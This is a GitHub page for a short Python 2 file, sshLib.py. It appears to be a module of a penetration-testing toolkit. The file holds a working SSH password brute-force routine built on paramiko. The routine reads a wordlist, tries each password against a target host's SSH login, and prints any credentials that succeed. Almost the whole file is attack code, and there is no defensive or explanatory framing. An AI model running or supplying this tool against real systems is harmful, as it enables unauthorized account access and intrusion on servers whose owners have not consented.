-
Notifications
You must be signed in to change notification settings - Fork 216
Expand file tree
/
Copy pathsshLib.py
More file actions
51 lines (41 loc) · 1.52 KB
/
Copy pathsshLib.py
File metadata and controls
51 lines (41 loc) · 1.52 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import paramiko, sys, os, socket
from time import sleep
W = '\033[0m' # white (normal)
R = '\033[31m' # red
G = '\033[32m' # green
O = '\033[33m' # orange
B = '\033[34m' # blue
P = '\033[35m' # purple
C = '\033[36m' # cyan
GR = '\033[37m' # gray
def ssh_connect(address, username, password, port, code=0):
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
paramiko.util.log_to_file("filename.log")
try:
ssh.connect(address, port=port, username=username, password=password)
except paramiko.AuthenticationException:
code = 1
except socket.error, e:
print R + "[!] Error: Connection Failed. [!]"
code = 2
ssh.close()
return code
def sshBruteforce(address, username, wordlist, port, delay):
wordlist = open(wordlist, 'r')
for i in wordlist.readlines():
password = i.strip("\n")
try:
response = ssh_connect(address, username, password, port)
if response == 0:
print G + "[*] Username: %s | [*] Password found: %s\n" % (username, password) + W
elif response == 1:
print O + "[*] Username: %s | [*] Password: %s | Incorrect!\n" % (username, password) + W
sleep(delay)
elif response == 2:
print R + "[!] Error: Connection couldn't be established to address. Check if host is correct, or up! [!]" + W
exit()
except Exception, e:
print e
pass
wordlist.close()